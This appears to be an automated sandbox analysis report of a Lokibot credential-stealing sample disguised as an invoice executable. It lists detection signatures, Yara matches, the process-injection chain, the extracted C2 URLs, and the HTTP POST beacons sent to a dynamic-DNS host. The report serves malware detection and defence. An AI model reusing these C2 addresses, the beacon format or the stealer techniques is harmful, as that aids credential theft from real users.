Play interactive tour

Edit tour

Windows Analysis Report Invoice and BL.exe

Overview

General Information

Sample Name:	Invoice and BL.exe
Analysis ID:	458970
MD5:	3c7b342067f6142e6ed45551f5f60c50
SHA1:	d83513aa4ac743b7fe0f7d1052a37b5ef1b50f60
SHA256:	419865b95d9a00faea2d00122baabd7c2ea0be23dd5d3f15eae589bb5a6beecd
Tags:	exeLoki
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Lokibot

.NET source code contains potential unpacker

.NET source code contains very large strings

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Uses dynamic DNS services

Writes to foreign memory regions

Yara detected aPLib compressed binary

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Invoice and BL.exe (PID: 1152 cmdline: 'C:\Users\user\Desktop\Invoice and BL.exe' MD5: 3C7B342067F6142E6ED45551F5F60C50)

RegSvcs.exe (PID: 5412 cmdline: {path} MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x7f407:$des3: 68 03 66 00 00 0x837f8:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x838c4:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0xd1e3f:$des3: 68 03 66 00 00 0xd623c:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0xd6308:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: Invoice and BL.exe PID: 1152	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Invoice and BL.exe PID: 1152	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Invoice and BL.exe PID: 1152	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: RegSvcs.exe PID: 5412	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: RegSvcs.exe PID: 5412	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Invoice and BL.exe.397e408.3.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.Invoice and BL.exe.397e408.3.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Invoice and BL.exe.397e408.3.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.Invoice and BL.exe.397e408.3.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
7.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
7.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
7.2.RegSvcs.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
7.2.RegSvcs.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
7.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
7.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
7.2.RegSvcs.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
7.2.RegSvcs.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Invoice and BL.exe.397e408.3.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.Invoice and BL.exe.397e408.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Invoice and BL.exe.397e408.3.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Invoice and BL.exe.397e408.3.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Invoice and BL.exe.397e408.3.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.Invoice and BL.exe.397e408.3.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 15 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: abixmaly.duckdns.org	Virustotal: Detection: 10%			Perma Link
Source: http://abixmaly.duckdns.org/binge/fre.php	Virustotal: Detection: 13%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: Invoice and BL.exe	Virustotal: Detection: 59%	Perma Link
Source: Invoice and BL.exe	Metadefender: Detection: 31%	Perma Link
Source: Invoice and BL.exe	ReversingLabs: Detection: 60%

Machine Learning detection for sample

Show sources

Source: Invoice and BL.exe

Joe Sandbox ML: detected

Source: Invoice and BL.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Invoice and BL.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000007.00000002.294503842.0000000000832000.00000002.00020000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: abixmaly.duckdns.org

Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26
Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26

Source: Joe Sandbox View

ASN Name: WOWUS WOWUS

Source: global traffic	HTTP traffic detected: POST /binge/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: abixmaly.duckdns.orgAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D82FEB54Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /binge/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: abixmaly.duckdns.orgAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D82FEB54Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /binge/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: abixmaly.duckdns.orgAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D82FEB54Content-Length: 163Connection: close

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_00404ED4 recv,

Source: unknown

DNS traffic detected: queries for: abixmaly.duckdns.org

Source: unknown

HTTP traffic detected: POST /binge/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: abixmaly.duckdns.orgAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D82FEB54Content-Length: 190Connection: close

Source: RegSvcs.exe, 00000007.00000002.294776027.0000000000F64000.00000004.00000020.sdmp	String found in binary or memory: http://abixmaly.duckdns.org/binge/fre.php
Source: RegSvcs.exe, 00000007.00000002.294755116.0000000000F48000.00000004.00000020.sdmp	String found in binary or memory: http://abixmaly.duckdns.org/binge/fre.phpNg
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: RegSvcs.exe, RegSvcs.exe, 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large strings

Show sources

Source: Invoice and BL.exe, NodeGraphControl/NodeGraphNode.cs	Long String: Length: 24686
Source: 0.2.Invoice and BL.exe.370000.0.unpack, NodeGraphControl/NodeGraphNode.cs	Long String: Length: 24686
Source: 0.0.Invoice and BL.exe.370000.0.unpack, NodeGraphControl/NodeGraphNode.cs	Long String: Length: 24686

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Invoice and BL.exe

Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD7C23
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD0208
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD25B8
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5B90
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5918
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1140
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1C98
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1620
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1622
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD3610
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD0006
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD2A50
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1C50
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1640
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD0040
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD11B9
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD25B3
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD2F98
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5590
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5B8C
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD2F88
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5580
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD01F9
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD35C5
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD113C
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD1524
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD5908
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_0279C124
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_0279E570
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_0279E560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0040549C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_004029D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00405B6F appears 42 times

Source: Invoice and BL.exe, 00000000.00000002.290027759.00000000039B8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs Invoice and BL.exe
Source: Invoice and BL.exe, 00000000.00000002.288539858.00000000003F4000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamesH7BDA6.exeD vs Invoice and BL.exe
Source: Invoice and BL.exe, 00000000.00000002.298627197.0000000008520000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Invoice and BL.exe
Source: Invoice and BL.exe, 00000000.00000002.289489186.0000000002ACA000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameResource_Meter.dll> vs Invoice and BL.exe
Source: Invoice and BL.exe	Binary or memory string: OriginalFilenamesH7BDA6.exeD vs Invoice and BL.exe

Source: Invoice and BL.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@3/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

Source: C:\Users\user\Desktop\Invoice and BL.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice and BL.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Invoice and BL.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnrJUclcstb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: Invoice and BL.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Invoice and BL.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\Invoice and BL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Invoice and BL.exe	Virustotal: Detection: 59%
Source: Invoice and BL.exe	Metadefender: Detection: 31%
Source: Invoice and BL.exe	ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\Invoice and BL.exe 'C:\Users\user\Desktop\Invoice and BL.exe'
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe {path}
